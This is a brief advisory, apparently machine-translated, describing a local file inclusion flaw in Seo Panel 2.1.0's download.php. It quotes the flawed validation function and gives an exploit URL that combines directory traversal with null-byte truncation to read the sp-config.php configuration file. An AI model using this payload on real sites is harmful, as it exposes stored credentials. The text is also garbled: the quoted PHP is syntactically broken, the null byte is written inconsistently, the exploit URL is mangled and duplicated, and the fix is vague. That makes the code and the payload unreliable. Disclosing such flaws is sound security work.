Seo Panel 2.1.0 local File Inclusion Vulnerability and repair

Vulnerability Type: File Inclusion
Vulnerability Description: Seo Panel is a search optimization console that provides a comprehensive analysis tool for SEO optimization.

Vulnerability analysis: the local file inclusion vulnerability exists in Seo Panel because download. php GET does not use the correct parameters, resulting in % 00 truncation to form local file inclusion.

Download. ctrl. php: (Line 55-62)

55 function isValidFile ($ fileName ){

56 $ fileName = urldecode ($ fileName );

// This tries to prevent directory traversal

57 $ fileName = str_replace (../, $ fileName );

58 if (preg_match (/. xml $ |. html $ |. txt $/I, $ fileName )){

59 return $ fileName;

60}

61 return false;

62}

EXP:

Seopanel/download. php? Filesec = sitemap & filetype = text & file =... // config/sp-config.php000000.txt "> http: // site/seopanel/download. php? Filesec = sitemap & filetype = text & file =... // config/sp-config.php000000.txt

Www.2cto.com provides a solution: download. php GET uses the correct parameters.